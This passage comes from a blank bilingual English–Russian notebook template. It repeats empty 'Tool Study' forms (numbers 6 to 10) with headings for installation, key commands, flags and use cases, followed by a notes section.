USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #6

Tool Name:	Category:	Date:

Official Docs:	GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #7

Tool Name:	Category:	Date:
------------	-----------	-------

Official Docs:	GitHub:
----------------	---------

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #8

Tool Name:

Category:

Date:

Official Docs:

GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #9

Tool Name:

Category:

Date:

Official Docs:

GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #10

Tool Name:	Category:	Date:
------------	-----------	-------

Official Docs:	GitHub:
----------------	---------

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

XII. NOTES

Свободные страницы с точечной разметкой.

